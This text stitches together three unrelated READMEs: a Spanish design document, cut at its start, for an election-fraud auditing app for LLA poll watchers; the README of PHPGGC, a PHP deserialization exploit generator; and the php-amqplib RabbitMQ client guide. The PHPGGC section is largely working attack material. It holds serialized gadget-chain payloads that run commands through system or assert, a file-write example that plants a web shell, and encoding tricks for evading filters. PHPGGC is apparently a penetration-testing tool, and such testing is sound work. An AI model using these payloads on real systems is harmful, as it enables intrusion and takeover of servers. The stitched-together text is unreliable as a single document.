Auditor Externo: Sería cualquier persona que complete el proceso de sign up como auditor externo. Este perfil tendría acceso a la funcionalidad necesaria para consultar datos y documentos digitalizados y reportar anomalías que luego serían levantadas por los Auditores Internos. Es importante notar que el fraude se tiene que detectar lo antes posible porque una vez que se declara a alguien ganador, difícilmente eso se vuelva para atrás sin importar la cantidad de denuncias de fraude que haya después. Esto elimina la posibilidad de solo cargar una foto y luego que alguien en algún momento digite los datos de esa foto. En general, la detección de los distintos tipos de fraude debería ser instantánea y es más, si es posible cualquier persona de la población en general debería poder ver el recuento de votos de acuerdo a los fiscales de LLA incluso antes que salgan los datos oficiales, cosa de que antes de que se nombre un ganador ya haya una reacción del público general ante un potencial fraude de gran escala.
Público: Cualquier persona que quiera ver los resultados en línea, de acuerdo a los datos cargados por los Fiscales de Mesa de LLA. También podrán navegar por toda la información disponible en el sistema.

Funcionalidad

Carga de Datos: La APP permitiría a los Fisacales de Mesa cargar los datos de las mesas que supervisan. El sistema acumularía todos los datos en una base de datos.
Reportes para Auditores: El sistema generaría distintos tipos de reportes orientados a detectar fraude, basándose en los datos cargados por los Fiscales de Mesa y los datos Oficiales.
Consultas para el Público: El sistema permitiría ejecutar diferentes tipos de consultas al público en general.
Mapa / Reporte de Fiscales Trabajando: El sistema debería permitir saber en línea donde hay y donde no hay fiscales y así a través de las redes se puede difundir para que la gente vaya a fiscalizar y sobre todo en los casos más extremos donde, por ejemplo, no hay nadie. Un reporte en línea ordenado por gravedad de dónde hacen falta fiscales con urgencia sería óptimo. Sería más grave en las escuelas con mayor cantidad de electores donde hay una menor cantidad de fiscales. De ahí pudieran tomar los datos que estarían actualizados a toda hora durante la votación de donde es más crítico llamar por las redes a que se refuercen esas escuelas.
Mapa / Info de Bunkers-Sucursales: El sistema debería permitir visualizar un mapa o varios mapas en los cuales se debería poder visualizar donde ir a buscar boletas personales y así que la gente pueda ver donde ir a buscarlas.

Arquitectura del Sistema

Cloudflare: Como DNS management, CDN y seguridad en capa 7.
React SPA: Hosteada en S3.
API Express: Hosteada como monolito en lambda function, esto permite flexibilidad para los desarrolladores y evita la complejidad de tener que adaptarse a desarrolo de microservicios.
API Gateway: La magia de hacer un monolito serverless sucede acá, se proxean todos los endpoints a la lambda que ejecuta el servidor de Express.
DynamoDB: Otro servicio serverless, nos evita tener que lidiar con configuraciones de escalado, posibles spikes inesperados de tráfico, esto nos asegura que la aplicación va a soportar altos niveles de carga sin crashear.
S3 Bucket: Acá se subirán assets en forma de videos o imágenes como pruebas de fraudes.

Hay muchas formas de encarar la arquitectura de un sistema como este. Vamos a listar antes que nada cuáles son los criterios más importantes que querríamos seguir y a partir de ellos vamos a derivar la arquitectura que emerja de ahí.

El sistema completo se tiene que desarrollar y probar en tiempo record. Ese es el principal limitante.
Necesitamos poner a trabajar mucha gente en paralelo, con la mínima fricción entre ellos. Para esto tenemos que partir el sistema en bloques de casos de uso que van a interactuar entre sí a través de interfaces bien definidas.
Tenemos que minimizar el TRUST en cada persona que participe, porque nadie se conoce y nadie sabe quien es quien, y quien pudiera tomar alguna responsabilidad con la intención explícita de no cumplir, entre otras cosas.
Tenemos que minimizar el riesgo de que algo falle el día de las elecciones, así que deberíamos tener redundancia no sólo a nivel de hardware, sino también de software.
Creemos en OPEN SOURCE, en sistemas PERMISSIONLESS y DECENTRALIZADOS (hasta donde se pueda y sea razonable para este caso). Queremos desarrollar un sistema que no solo cualquiera pueda auditar su código, por ser open source, sino que cualquiera pueda registrarse con cualquiera de sus roles / tipos de usuarios, para que de esta manera y por primera vez en la historia, cualquier persona del mundo, esté donde esté a través del internet pueda ayudar a auditar la elección y evitar fraudes.

Componentes Principales

Base de Datos

Base de Datos Principal

La base de datos del sistema es en nuestro caso el SINGLE POINT OF FAILURE (salvo que esté replicada). Visualizamos tener al menos una base de datos para la información recogida por los Fiscales de Mesa y los Fiscales Generales, que será de lectura / escritura y desde ella se servirá la información para las funcionalidades de esos roles (Fiscales de Mesa, Fiscales Generales).

Base de Datos Read-Only

Para consultas del Público en General, o del ejército online de auditores, debido a que es difícil estimar la cantidad de usuarios en esos roles en un sistema abierto y permissionless, es posible que tengamos una copia de la base de datos anterior pero de solo lectura, o una versión in-memory o cache para servir todo tipo de requerimientos de consultas por parte de estos tipos de usuarios.

Base de Datos de Usuarios

Estaría separada del resto para que sea construida, mantenida y operada por gente especializada en Seguridad de Sistemas y que nadie ajeno a ese equipo pueda romper nada aquí.

Servicios de Backend

Backend Principal

El backend principal será el que tenga la business logic de los casos de uso principales, que son los que corresponden a los Fiscales de Mesa, Fiscales Generales, y Delagados del Partido.

Backend Read Only

Es posible que tengamos un backend para las operaciones read-only del público en general y auditores externos a LLA. Es posible que este backend trabaje con una replica off line de la Base de Datos Principal, actualizada cada tanto.

Backend para Logins / Signups / Mantenimiento de Usuarios

Normalmente esto sería parte del Backend Principal, pero como tenemos tan poco tiempo, pudieramos separar este grupo de funcionalidades para que un equipo especializado desarrolle esto sin tocarse en nada con el resto del sistema.

Frontend

UI Web / Mobile para Fiscales

La UI para los Fiscales debe considerarse de misión crítica. Si ella no funcionara no tendríamos nada, porque los fiscales son los que cargan los datos que son la base de todas las auditorias que el sistema va a permitir realizar. Basándonos en los criterios antes expuestos para minimizar el riesgo de que algún módulo no esté listo o que no funcione bien, la propuesta es abrir la cancha y que múltiples desarrolladores desarrollen múltiples UIs. Luego publicaríamos los links a las que pasen las pruebas que hagamos y el resto quedarían abandonadas. Cada quien es libre de elegir el framework y las tecnologías a usar para su UI para Fiscales, porque cada quien invierte su propio tiempo construyéndola. Todas estas UIs se conectarían al Backend principal vía una API pre-definida y desde cualquiera de ellas se pudieran realizar los casos de uso definidos / a definir.

Como una extensión del criterio anterior, sería incluso óptimo si cada desarrollador hosteara el mismo en su propio servidor su UI incluyendo su propio dominio si lo quisiera. Esto haría el sistema más resiliente si hubiera más de una opción. Esto aplica para la siguiente UI también.

Si todas las mesas tuvieran fiscales, estamos hablando de una cantidad de potenciales usuarios de entre 100K y 150K porque hay más o menos esa cantidad de mesas de votación a nivel nacional.

UI Web para el público en general / auditores externos

La UI para el público en general / auditores externos e ideas de funcionalidades de misión no-crítica debería ser una web app. En este caso, la masa potencial de usuarios es tremendamente mayor a la anterior, en el orden de los 30 o 40 millones de personas potencialmente que pudieran querer consultar los resultados como los ve LLA y algún número menor que ese de gente que quiera jugar el rol de auditor externo y controlar lo que el sistema le permita controlar. Permitir que cualquier número de personas entre al sistema a auditar puede ser la clave para que, combinado con el uso / denuncias a través de redes sociales de un gran número de personas, se puedan desaconsejar los posibles fraudes que la gente que controla el sistema oficial (que es un sistema cerrado y opaco) pudieran querer hacer.

En este caso, también permitiríamos que cualquier desarrollador pueda crear su propia versión de este sitio para el público en general y auditores externos, en la tecnología que quiera, y luego publicaríamos los links a los sitios que pasen correctamente las pruebas que hagamos. Al mismo tiempo, si hubiera varias versiones del sitio, disminuiriamos la carga individual en cada una, y bajariamos el riesgo de no tener algo funcionando para el día de las elecciones.

UI Login / Signup / Mantenimiento de Usuarios

Esta sería la UI específica para estos casos de usos, a cargo de gente especializada en Seguridad de Sistemas.

Procesos Batch

Extracción de Datos del Sistema Oficial

El sistema oficial provee aquí (https://resultados.mininterior.gob.ar/desarrollo) instrucciones de cómo acceder a ciertos datos del mismo a través de una API. Nosotros debieramos tener un proceso que extraiga dichos datos cada cierto tiempo (5 minutos?) y actualice nuestra base de datos.

Para poder abrir el juego y que varios desarrolladores puedan hacer diferentes procesos usando los datos del Sitio Oficial más los datos subidos por los Fiscales de Mesa, es mejor si hay un proceso que solo extraiga los datos del sitio oficial y los grabe en nuestra base de datos. Luego de que corra ese proceso cada cierto tiempo, pueden haber n procesos, de n developers distintos, cada uno buscando detectar algún tipo de fraude diferente.

Procesos de Detección de Fraudes

Con los datos cargados por los Fiscales a través de la mobile app más los datos extraídos del sistema oficial, el sistema tiene la capacidad de correr múltiples procesos cada uno especializado en detectar algún tipo de fraude.

Se deben analizar los procesos que se necesitan para detectar los tipos de fraude previamente especificados.

Responsables

Al mejor estilo Open Source, el que quiera hacerse responsable de alguna parte del sistema, puede autolistarse aquí abajo, modificando este readme vía PR.

Análisis General @Luis-Fernando-Molina
UX/UI @JoseOrtega02, [quien quiera sumarse]
FrontEnd @JoseOrtega02, [quien quiera sumarse]

Links de interés

Autores

Contributors

Discord para Devs

https://discord.gg/BWDqcpXn

ambionics/phpggc

2023-10-29T01:59:05Z

PHPGGC is a library of PHP unserialize() payloads along with a tool to generate them, from command line or programmatically.

PHPGGC: PHP Generic Gadget Chains

PHPGGC is a library of unserialize() payloads along with a tool to generate them, from command line or programmatically. When encountering an unserialize on a website you don't have the code of, or simply when trying to build an exploit, this tool allows you to generate the payload without having to go through the tedious steps of finding gadgets and combining them. It can be seen as the equivalent of frohoff's ysoserial, but for PHP. Currently, the tool supports gadget chains such as: CodeIgniter4, Doctrine, Drupal7, Guzzle, Laravel, Magento, Monolog, Phalcon, Podio, Slim, SwiftMailer, Symfony, Wordpress, Yii and ZendFramework.

Requirements

PHP >= 5.6 is required to run PHPGGC.

Usage

Run ./phpggc -l to obtain a list of gadget chains:

$ ./phpggc -l

Gadget Chains
-------------

NAME                                      VERSION                                              TYPE                   VECTOR         I    
Bitrix/RCE1                               17.x.x <= 22.0.300                                   RCE (Function call)    __destruct          
CakePHP/RCE1                              ? <= 3.9.6                                           RCE (Command)          __destruct          
CakePHP/RCE2                              ? <= 4.2.3                                           RCE (Function call)    __destruct          
CodeIgniter4/FR1                          4.0.0 <= 4.3.6                                       File read              __toString     *    
CodeIgniter4/RCE1                         4.0.2 <= 4.0.3                                       RCE (Function call)    __destruct          
CodeIgniter4/RCE2                         4.0.0-rc.4 <= 4.3.6                                  RCE (Function call)    __destruct          
CodeIgniter4/RCE3                         4.0.4 <= 4.3.6                                       RCE (Function call)    __destruct          
CodeIgniter4/RCE4                         4.0.0-beta.1 <= 4.0.0-rc.4                           RCE (Function call)    __destruct          
CodeIgniter4/RCE5                         -4.1.3+                                              RCE (Function call)    __destruct          
CodeIgniter4/RCE6                         -4.1.3 <= 4.2.10+                                    RCE (Function call)    __destruct          
Doctrine/FW1                              ?                                                    File write             __toString     *    
Doctrine/FW2                              2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5                       File write             __destruct     *    
Doctrine/RCE1                             1.5.1 <= 2.7.2                                       RCE (PHP code)         __destruct     *    
Doctrine/RCE2                             1.11.0 <= 2.3.2                                      RCE (Function call)    __destruct     *    
Dompdf/FD1                                1.1.1 <= ?                                           File delete            __destruct     *    
...

Filter gadget chains:

$ ./phpggc -l laravel

Gadget Chains
-------------

NAME             VERSION            TYPE                   VECTOR        I    
Laravel/RCE1     5.4.27             RCE (Function call)    __destruct         
Laravel/RCE10    5.6.0 <= 9.1.8+    RCE (Function call)    __toString         
Laravel/RCE2     5.4.0 <= 8.6.9+    RCE (Function call)    __destruct         
Laravel/RCE3     5.5.0 <= 5.8.35    RCE (Function call)    __destruct    *    
Laravel/RCE4     5.4.0 <= 8.6.9+    RCE (Function call)    __destruct         
Laravel/RCE5     5.8.30             RCE (PHP code)         __destruct    *    
Laravel/RCE6     5.5.* <= 5.8.35    RCE (PHP code)         __destruct    *    
Laravel/RCE7     ? <= 8.16.1        RCE (Function call)    __destruct    *    
Laravel/RCE8     7.0.0 <= 8.6.9+    RCE (Function call)    __destruct    *    
Laravel/RCE9     5.4.0 <= 9.1.8+    RCE (Function call)    __destruct

Every gadget chain has:

Name: Name of the framework/library
Version: Version of the framework/library for which gadgets are for
Type: Type of exploitation: RCE, File Write, File Read, Include...
Vector: the vector to trigger the chain after the unserialize (__destruct(), __toString(), offsetGet(), ...)
Informations: Other informations about the chain

Use -i to get detailed information about a chain:

$ ./phpggc -i symfony/rce1
Name           : Symfony/RCE1
Version        : 3.3
Type           : rce
Vector         : __destruct
Informations   : 
Exec through proc_open()

./phpggc Symfony/RCE1 <command>

For RCE gadgets, the executed command can have 3 formatting types depending on how the gadget works:

RCE (Command): ./phpggc Symfony/RCE1 id
RCE (PHP code): ./phpggc Symfony/RCE2 'phpinfo();'
RCE (Function call): ./phpggc Symfony/RCE4 system id

Once you have selected a chain, run ./phpggc <gadget-chain> [parameters] to obtain the payload. For instance, to obtain a payload for Monolog, you'd do:

$ ./phpggc monolog/rce1 assert 'phpinfo()'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}

For a file write using SwiftMailer, you'd do:

$ echo 'It works !' > /tmp/data
$ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
O:13:"Swift_Message":8:{...}

Wrapper

The --wrapper (-w) option allows you to define a PHP file containing the following functions:

process_parameters(array $parameters): Called right before generate(), allows to change parameters
process_object(object $object): Called right before serialize(), allows to change the object
process_serialized(string $serialized): Called right after serialize(), allows to change the serialized string

For instance, if the vulnerable code looks like this:

<?php
$data = unserialize($_GET['data']);
print $data['message'];

You could use a __toString() chain, wrapping it like so:

<?php
# /tmp/my_wrapper.php
function process_object($object)
{
    return array(
        'message' => $object
    );
}

And you'd call phpggc like so:

$ ./phpggc -w /tmp/my_wrapper.php slim/rce1 system id
a:1:{s:7:"message";O:18:"Slim\Http\Response":2:{...}}

PHAR(GGC)

History

At BlackHat US 2018, @s_n_t released PHARGGC, a fork of PHPGGC which instead of building a serialized payload, builds a whole PHAR file. This PHAR file contains serialized data and as such can be used for various exploitation techniques (file_exists, fopen, etc.). The paper is here.

Implementation

PHAR archives come in three different formats: PHAR, TAR, and ZIP. The three of them are supported by PHPGGC. Polyglot files can be generated using --phar-jpeg (-pj). Other options are available (use -h).

Examples

$ # Creates a PHAR file in the PHAR format and stores it in /tmp/z.phar
$ ./phpggc -p phar -o /tmp/z.phar monolog/rce1 system id
$ # Creates a PHAR file in the ZIP format and stores it in /tmp/z.zip.phar
$ ./phpggc -p zip -o /tmp/z.zip.phar monolog/rce1 system id
$ # Creates a polyglot JPEG/PHAR file from image /tmp/dummy.jpg and stores it in /tmp/z.zip.phar
$ ./phpggc -pj /tmp/dummy.jpg -o /tmp/z.zip.phar monolog/rce1 system id

Encoders

Arguments allow to modify the way the payload is output. For instance, -u will URL encode it, and -b will convert it to base64. Payloads often contain NULL bytes and cannot be copy/pasted as-is. Use -s for a soft URL encode, which keeps the payload readable.

The encoders can be chained, and as such the order is important. For instance, ./phpggc -b -u -u slim/rce1 system id will base64 the payload, then URLencode it twice.

Advanced: Enhancements

Fast destruct

PHPGGC implements a --fast-destruct (-f) flag, that will make sure your serialized object will be destroyed right after the unserialize() call, and not at the end of the script. I'd recommend using it for every __destruct vector, as it improves reliability. For instance, if PHP script raises an exception after the call, the __destruct method of your object might not be called. As it is processed at the same time as encoders, it needs to be set first.

$ ./phpggc -f -s slim/rce1 system id
a:2:{i:7;O:18:"Slim\Http\Response":2:{s:10:"...

ASCII Strings

Uses the S serialization format instead of the standard s. This replaces every non-ASCII char to an hexadecimal representation: s:5:"A<null_byte>B<cr><lf>";̀ -> S:5:"A\00B\09\0D"; This can be useful when for some reason non-ascii characters are not allowed (NULL BYTE for instance). Since payloads generally contain them, this makes sure that the payload consists only of ASCII values. Note: this is experimental and it might not work in some cases.

Armor Strings

Uses the S serialization format instead of the standard s. This replaces every char to an hexadecimal representation: s:5:"A<null_byte>B<cr><lf>";̀ -> S:5:"\41\00\42\09\0D"; This comes handy when a firewall or PHP code blocks strings. Note: this is experimental and it might not work in some cases. Note: this makes each string in the payload grow by a factor of 3.

Plus Numbers

Sometimes, PHP scripts verify that the given serialized payload does not contain objects by using a regex such as /O:[0-9]+:. This is easily bypassed using O:+123:... instead of O:123:. One can use --plus-numbers <types>, or -n <types>, to automatically add these + signs in front of symbols. For instance, to obfuscate objects and strings, one can use: --n Os. Please note that since PHP 7.2, only i and d (float) types can have a +.

Testing your chain

To test if the gadget chain you want to use works in the targeted environment, jump to your environment's folder and run the chain argument-free, with the --test-payload option.

For instance, to test if Monolog/RCE2 works on Symfony 4.x:

$ composer create-project symfony/website-skeleton=4.x some_symfony
$ cd some_symfony
$ phpggc monolog/rce2 --test-payload
Trying to deserialize payload...
SUCCESS: Payload triggered !

The exit code will be 0 if the payload triggered, 1 otherwise.

Testing your chain against every version of a package

If you wish to know which versions of a package a gadget chain works against, you can use test-gc-compatibility.py.

$ ./test-gc-compatibility.py monolog/monolog monolog/rce1 monolog/rce3
Testing 59 versions for monolog/monolog against 2 gadget chains.

┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃
┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
│ 2.x-dev         │   OK    │      OK      │      KO      │
│ 2.3.0           │   OK    │      OK      │      KO      │
│ 2.2.0           │   OK    │      OK      │      KO      │
│ 2.1.1           │   OK    │      OK      │      KO      │
│ 2.1.0           │   OK    │      OK      │      KO      │
│ 2.0.2           │   OK    │      OK      │      KO      │
│ 2.0.1           │   OK    │      OK      │      KO      │
│ 2.0.0           │   OK    │      OK      │      KO      │
│ 2.0.0-beta2     │   OK    │      OK      │      KO      │
│ 2.0.0-beta1     │   OK    │      OK      │      KO      │
│ 1.x-dev         │   OK    │      OK      │      KO      │
│ 1.26.1          │   OK    │      OK      │      KO      │
│ 1.26.0          │   OK    │      OK      │      KO      │
│ 1.25.5          │   OK    │      OK      │      KO      │
│ 1.25.4          │   OK    │      OK      │      KO      │
                        ...
│ 1.0.1           │   OK    │      KO      │      KO      │
│ 1.0.0           │   OK    │      KO      │      KO      │
│ 1.0.0-RC1       │   OK    │      KO      │      KO      │
│ dev-main        │   OK    │      OK      │      KO      │
│ * dev-phpstan   │   OK    │      OK      │      KO      │
└─────────────────┴─────────┴──────────────┴──────────────┘

You can specify the versions you want to test by using the following syntaxe.

$ ./test-gc-compatibility.py monolog/monolog:2.3.0,1.25.4 monolog/rce1 monolog/rce3
Testing 2 versions for monolog/monolog against 2 gadget chains.

┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃
┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
│ 2.3.0           │   OK    │      OK      │      KO      │
│ 1.25.4          │   OK    │      OK      │      KO      │
└─────────────────┴─────────┴──────────────┴──────────────┘

API

Instead of using PHPGGC as a command line tool, you can program PHP scripts:

<?php

# Include PHPGGC
include("phpggc/lib/PHPGGC.php");

# Include guzzle/rce1
$gc = new \GadgetChain\Guzzle\RCE1();

# Always process parameters unless you're doing something out of the ordinary
$parameters = $gc->process_parameters([
	'function' => 'system',
	'parameter' => 'id',
]);

# Generate the payload
$object = $gc->generate($parameters);

# Most (if not all) GC's do not use process_object and process_serialized, so
# for quick & dirty code you can omit those two 
$object = $gc->process_object($object);

# Serialize the payload
$serialized = serialize($object);
$serialized = $gc->process_serialized($serialized);

# Display it
print($serialized . "\n");

# Create a PHAR file from this payload
$phar = new \PHPGGC\Phar\Tar($serialized);
file_put_contents('output.phar.tar', $phar->generate());

This allows you to tweak the parameters or write exploits more easily. Note: This is pretty experimental at the moment, so please, report bugs.

Contributing

Pull requests are more than welcome. Please follow these simple guidelines:

__destruct() is always the best vector
Specify at least the version of the library you've built the payload on
Do not include unused parameters in the gadget definition if they keep their default values. It just makes the payload bigger.
Respect code style: for instance, opening brackets { are on a new line, and arrays should be written as [1, 2, 3] instead of the old, array(1, 2, 3), notation.

Codewise, the directory structure is fairly straightforward: gadgets in gadgets.php, description + logic in chain.php. You can define pre- and post- processing methods, if parameters need to be modified. Hopefully, the already implemented gadgets should be enough for you to build yours. Otherwise, I'd be glad to answer your questions.

Please test as many versions as you can. The nomenclature for versions is as such: [-]<lower-version> <= <higher-version>[+]. The - and + signs indicate that your payload may work on respectively lower and higher versions. For instance, if your gadget chain works from version 2.0.0 to version 4.4.1, which is the last version at the time, use 2.0.0 <= 4.4.1+.

The --new <framework> <type> command-line option can be used to create the directory and file structure for a new gadget chain. For instance, use ./phpggc -n Drupal RCE would create a new Drupal RCE gadgetchain.

Docker

If you don't want to install PHP, you can use docker build . -t 'phpggc'.

To generate a gadget chain.

$ docker run phpggc Monolog/rce1 'system' 'id'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:2:"id";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"system";}}}

To run test-gc-compatibility.py from docker.

$ docker run --entrypoint './test-gc-compatibility.py' phpggc doctrine/doctrine-bundle:2.2,2.7.2 doctrine/rce1 doctrine/rce2
Runing on PHP version ('PHP 8.1.13 (cli) (built: Nov 30 2022 21:53:44) (NTS).
Testing 2 versions for doctrine/doctrine-bundle against 2 gadget chains.

┏━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━┓
┃ doctrine/doctrine-bundle ┃ Package ┃ doctrine/rce1 ┃ doctrine/rce2 ┃
┡━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━┩
│ 2.2                      │   OK    │      OK       │      OK       │
│ 2.7.2                    │   OK    │      OK       │      KO       │
└──────────────────────────┴─────────┴───────────────┴───────────────┘

License

Apache License 2.0

php-amqplib/php-amqplib

2023-10-29T01:59:05Z

The most widely used PHP client for RabbitMQ

php-amqplib

This library is a pure PHP implementation of the AMQP 0-9-1 protocol. It's been tested against RabbitMQ.

The library was used for the PHP examples of RabbitMQ in Action and the official RabbitMQ tutorials.

Please note that this project is released with a Contributor Code of Conduct. By participating in this project you agree to abide by its terms.

Project Maintainers

Thanks to videlalvaro and postalservice14 for creating php-amqplib.

The package is now maintained by Ramūnas Dronga, Luke Bakken and several VMware engineers working on RabbitMQ.

Supported RabbitMQ Versions

Starting with version 2.0 this library uses AMQP 0.9.1 by default and thus requires RabbitMQ 2.0 or later version. Usually server upgrades do not require any application code changes since the protocol changes very infrequently but please conduct your own testing before upgrading.

Supported RabbitMQ Extensions

Since the library uses AMQP 0.9.1 we added support for the following RabbitMQ extensions:

Exchange to Exchange Bindings
Basic Nack
Publisher Confirms
Consumer Cancel Notify

Extensions that modify existing methods like alternate exchanges are also supported.

Related libraries

enqueue/amqp-lib is a amqp interop compatible wrapper.
AMQProxy is a proxy library with connection and channel pooling/reusing. This allows for lower connection and channel churn when using php-amqplib, leading to less CPU usage of RabbitMQ.

Setup

Ensure you have composer installed, then run the following command:

$ composer require php-amqplib/php-amqplib

That will fetch the library and its dependencies inside your vendor folder. Then you can add the following to your .php files in order to use the library

require_once __DIR__.'/vendor/autoload.php';

Then you need to use the relevant classes, for example:

use PhpAmqpLib\Connection\AMQPStreamConnection;
use PhpAmqpLib\Message\AMQPMessage;

Usage

With RabbitMQ running open two Terminals and on the first one execute the following commands to start the consumer:

$ cd php-amqplib/demo
$ php amqp_consumer.php

Then on the other Terminal do:

$ cd php-amqplib/demo
$ php amqp_publisher.php some text to publish

You should see the message arriving to the process on the other Terminal

Then to stop the consumer, send to it the quit message:

$ php amqp_publisher.php quit

If you need to listen to the sockets used to connect to RabbitMQ then see the example in the non blocking consumer.

$ php amqp_consumer_non_blocking.php

Change log

Please see CHANGELOG for more information what has changed recently.

API Documentation

http://php-amqplib.github.io/php-amqplib/

Tutorials

To not repeat ourselves, if you want to learn more about this library, please refer to the official RabbitMQ tutorials.

More Examples

amqp_ha_consumer.php: demos the use of mirrored queues.
amqp_consumer_exclusive.php and amqp_publisher_exclusive.php: demos fanout exchanges using exclusive queues.
amqp_consumer_fanout_{1,2}.php and amqp_publisher_fanout.php: demos fanout exchanges with named queues.
amqp_consumer_pcntl_heartbeat.php: demos signal-based heartbeat sender usage.
basic_get.php: demos obtaining messages from the queues by using the basic get AMQP call.

Multiple hosts connections

If you have a cluster of multiple nodes to which your application can connect, you can start a connection with an array of hosts. To do that you should use the create_connection static method.

For example:

$connection = AMQPStreamConnection::create_connection([
    ['host' => HOST1, 'port' => PORT, 'user' => USER, 'password' => PASS, 'vhost' => VHOST],
    ['host' => HOST2, 'port' => PORT, 'user' => USER, 'password' => PASS, 'vhost' => VHOST]
],
$options);

This code will try to connect to HOST1 first, and connect to HOST2 if the first connection fails. The method returns a connection object for the first successful connection. Should all connections fail it will throw the exception from the last connection attempt.

See demo/amqp_connect_multiple_hosts.php for more examples.

Batch Publishing

Let's say you have a process that generates a bunch of messages that are going to be published to the same exchange using the same routing_key and options like mandatory. Then you could make use of the batch_basic_publish library feature. You can batch messages like this:

$msg = new AMQPMessage($msg_body);
$ch->batch_basic_publish($msg, $exchange);

$msg2 = new AMQPMessage($msg_body);
$ch->batch_basic_publish($msg2, $exchange);

and then send the batch like this:

$ch->publish_batch();

When do we publish the message batch?

Let's say our program needs to read from a file and then publish one message per line. Depending on the message size, you will have to decide when it's better to send the batch. You could send it every 50 messages, or every hundred. That's up to you.

Optimized Message Publishing

Another way to speed up your message publishing is by reusing the AMQPMessage message instances. You can create your new message like this:

$properties = array('content_type' => 'text/plain', 'delivery_mode' => AMQPMessage::DELIVERY_MODE_PERSISTENT);
$msg = new AMQPMessage($body, $properties);
$ch->basic_publish($msg, $exchange);

Now let's say that while you want to change the message body for future messages, you will keep the same properties, that is, your messages will still be text/plain and the delivery_mode will still be AMQPMessage::DELIVERY_MODE_PERSISTENT. If you create a new AMQPMessage instance for every published message, then those properties would have to be re-encoded in the AMQP binary format. You could avoid all that by just reusing the AMQPMessage and then resetting the message body like this:

$msg->setBody($body2);
$ch->basic_publish($msg, $exchange);

Truncating Large Messages

AMQP imposes no limit on the size of messages; if a very large message is received by a consumer, PHP's memory limit may be reached within the library before the callback passed to basic_consume is called.

To avoid this, you can call the method AMQPChannel::setBodySizeLimit(int $bytes) on your Channel instance. Body sizes exceeding this limit will be truncated, and delivered to your callback with a AMQPMessage::$is_truncated flag set to true. The property AMQPMessage::$body_size will reflect the true body size of a received message, which will be higher than strlen(AMQPMessage::getBody()) if the message has been truncated.

Note that all data above the limit is read from the AMQP Channel and immediately discarded, so there is no way to retrieve it within your callback. If you have another consumer which can handle messages with larger payloads, you can use basic_reject or basic_nack to tell the server (which still has a complete copy) to forward it to a Dead Letter Exchange.

By default, no truncation will occur. To disable truncation on a Channel that has had it enabled, pass 0 (or null) to AMQPChannel::setBodySizeLimit().

Connection recovery

Some RabbitMQ clients using automated connection recovery mechanisms to reconnect and recover channels and consumers in case of network errors.

Since this client is using a single-thread, you can set up connection recovery using exception handling mechanism.

Exceptions which might be thrown in case of connection errors:

PhpAmqpLib\Exception\AMQPConnectionClosedException
PhpAmqpLib\Exception\AMQPIOException
\RuntimeException
\ErrorException

Some other exceptions might be thrown, but connection can still be there. It's always a good idea to clean up an old connection when handling an exception before reconnecting.

For example, if you want to set up a recovering connection:

$connection = null;
$channel = null;
while(true){
    try {
        $connection = new AMQPStreamConnection(HOST, PORT, USER, PASS, VHOST);
        // Your application code goes here.
        do_something_with_connection($connection);
    } catch(AMQPRuntimeException $e) {
        echo $e->getMessage();
        cleanup_connection($connection);
        usleep(WAIT_BEFORE_RECONNECT_uS);
    } catch(\RuntimeException $e) {
        cleanup_connection($connection);
        usleep(WAIT_BEFORE_RECONNECT_uS);
    } catch(\ErrorException $e) {
        cleanup_connection($connection);
        usleep(WAIT_BEFORE_RECONNECT_uS);
    }
}

A full example is in demo/connection_recovery_consume.php.

This code will reconnect and retry the application code every time the exception occurs. Some exceptions can still be thrown and should not be handled as a part of reconnection process, because they might be application errors.

This approach makes sense mostly for consumer applications, producers will require some additional application code to avoid publishing the same message multiple times.

This was a simplest example, in a real-life application you might want to control retr count and maybe gracefully degrade wait time to reconnection.

You can find a more excessive example in #444

UNIX Signals

If you have installed PCNTL extension dispatching of signal will be handled when consumer is not processing message.

$pcntlHandler = function ($signal) {
    switch ($signal) {
        case \SIGTERM:
        case \SIGUSR1:
        case \SIGINT:
            // some stuff before stop consumer e.g. delete lock etc
            pcntl_signal($signal, SIG_DFL); // restore handler
            posix_kill(posix_getpid(), $signal); // kill self with signal, see https://www.cons.org/cracauer/sigint.html
        case \SIGHUP:
            // some stuff to restart consumer
            break;
        default:
            // do nothing
    }
};

pcntl_signal(\SIGTERM, $pcntlHandler);
pcntl_signal(\SIGINT,  $pcntlHandler);
pcntl_signal(\SIGUSR1, $pcntlHandler);
pcntl_signal(\SIGHUP,  $pcntlHandler);

To disable this feature just define constant AMQP_WITHOUT_SIGNALS as true

<?php
define('AMQP_WITHOUT_SIGNALS', true);

... more code

Signal-based Heartbeat

If you have installed PCNTL extension and are using PHP 7.1 or greater, you can register a signal-based heartbeat sender.

<?php

$sender = new PCNTLHeartbeatSender($connection);
$sender->register();
... code
$sender->unregister();

Debugging

If you want to know what's going on at a protocol level then add the following constant to your code:

<?php
define('AMQP_DEBUG', true);

... more code

